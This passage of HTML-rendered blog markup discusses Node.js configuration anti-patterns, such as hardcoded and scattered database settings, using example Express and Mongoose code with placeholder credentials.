&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; dotenv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The security risk that is inherent here is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You may inadvertently expose sensitive information like database credentials and API keys as part of error messages, stack traces, and other forms of data returned to consuming clients.&lt;/li&gt;
&lt;li&gt;You may inadvertently expose sensitive information like database credentials and API keys in your application’s logs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;4-nodejs-configuration-anti-patterns&quot;&gt;4 Node.js configuration anti-patterns&lt;/h2&gt;
&lt;p&gt;What are some common anti-patterns or practices that you should avoid when handling configuration in Node.js applications?&lt;/p&gt;
&lt;p&gt;These anti-patterns may seem tempting at times but can lead to maintenance nightmares, security vulnerabilities, and overall codebase chaos.&lt;/p&gt;
&lt;h3 id=&quot;1-hard-coding-configuration-data&quot;&gt;1. Hard-coding configuration data&lt;/h3&gt;
&lt;p&gt;One of the most prevalent anti-patterns is hardcoding configuration data directly into your source code.&lt;/p&gt;
&lt;p&gt;It sounds so naive that you might be wondering why anyone would ever do this, but more often than not, it’s a common “quick fix” that developers resort to when they’re in a hurry.&lt;/p&gt;
&lt;p&gt;While hardcoding configuration data may appear convenient for quick development, it has several downsides ranging from security risks of exposing sensitive information in the codebase to inflexibility and poor maintainability.&lt;/p&gt;
&lt;p&gt;Node.js configuration anti-pattern to avoid, demonstrating hardcoded configuration data in the codebase:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;mongoose&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mongoose&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Hardcoded configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbUsername&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_db_username&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbPassword&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_db_password&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbHost&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;localhost&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbPort&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;27017&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbName&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_database_name&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Establish a database connection&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;mongoose.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`mongodb://${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbUsername&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbPassword&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}@${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbHost&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbPort&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}/${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbName&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  useNewUrlParser: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  useUnifiedTopology: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; mongoose.connection;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Hello World&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Hardcoded configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Server is running on port ${&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this code, the database credentials (i.e., &lt;code&gt;dbPassword&lt;/code&gt;) are hardcoded directly into the codebase. The HTTP web server port of &lt;code&gt;3000&lt;/code&gt; is also hardcoded.&lt;/p&gt;
&lt;h3 id=&quot;2-scattered-configuration-data&quot;&gt;2. Scattered configuration data&lt;/h3&gt;
&lt;p&gt;Another common pitfall is scattering configuration data across multiple files or modules within your application.&lt;/p&gt;
&lt;p&gt;This haphazard approach can result in maintenance nightmares as you hunt down which part of your application is responsible for a particular configuration. It also makes it difficult to update configuration values when they’re spread across different parts of your codebase.&lt;/p&gt;
&lt;p&gt;To add insult to injury, inconsistencies may arise when different parts of your application use different values for the same configuration parameter. Also, good luck debugging!&lt;/p&gt;
&lt;div class=&quot;flex items-center justify-center&quot;&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Spreading env variable usage across all your source files (or dependencies) is a recipe for an unmaintainable codebase.&lt;/p&gt;— Matteo Collina (@matteocollina) &lt;a href=&quot;https://twitter.com/matteocollina/status/1691843497890861402?ref_src=twsrc%5Etfw&quot;&gt;August 16, 2023&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;/div&gt;
&lt;p&gt;Node.js configuration anti-pattern to avoid, demonstrating scattered configuration data across multiple files:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: server.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Scattered configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(port, () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Server is running on port ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: database.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;mongoose&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mongoose&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Anti-Pattern: Scattered configuration data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbUsername&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_db_username&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbPassword&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_db_password&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbHost&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;localhost&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbPort&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;27017&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;dbName&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_database_name&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;mongoose.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`mongodb://${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbUsername&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbPassword&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}@${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbHost&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbPort&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}/${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dbName&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  useNewUrlParser: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  useUnifiedTopology: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// FILE: routes.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
